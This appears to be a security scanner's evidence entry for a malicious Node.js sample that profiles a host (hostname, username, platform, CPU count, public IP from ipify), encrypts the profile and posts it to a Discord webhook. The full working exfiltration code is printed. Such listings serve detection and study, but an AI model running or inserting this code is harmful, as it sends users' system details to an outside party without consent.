node-encrypted-host-profile-discord-webhook.js
Encrypts a host profile for Discord webhook exfiltrationFetches public IP from ipify
SHA-2562e6b17f971c656b23dfef3e2baf5f3959687b9cbafff906d3f20177b727edafe
Evidence
1const os = require('os');
2const https = require('https');
3const { createCipheriv, randomBytes } = require('crypto');
4
5const words = ['discord.com', 'webhooks', 'api.ipify.org', 'aes-256-cbc'];
6const profile = {
7 'host': os.hostname(),
8 username: os.userInfo().username,
9 platform: os.platform(),
10 cpuCount: os.cpus().length,
11 ip: null,
12};
13
14https.get(`https://${words[2]}?format=json`, (response) => {
15 let data = '';
16 response.on('data', (chunk) => { data += chunk; });
17 response.on('end', () => {
18 profile.ip = JSON.parse(data).ip;
19 const cipher = createCipheriv(words[3], Buffer.alloc(32), randomBytes(16));
20 const encrypted = Buffer.concat([
21 cipher.update(JSON.stringify(profile)),
22 cipher.final(),
23 ]).toString('hex');
24 const body = JSON.stringify({ content: encrypted });
25 const request = https.request({
26 hostname: words[0],
27 port: 443,
28 path: `/api/${words[1]}/123/token`,
29 method: 'POST',
30 headers: {
31 'Content-Type': 'application/json',
32 'Content-Length': Buffer.byteLength(body),
33 },
34 });
35 request.end(body);
36 });
37});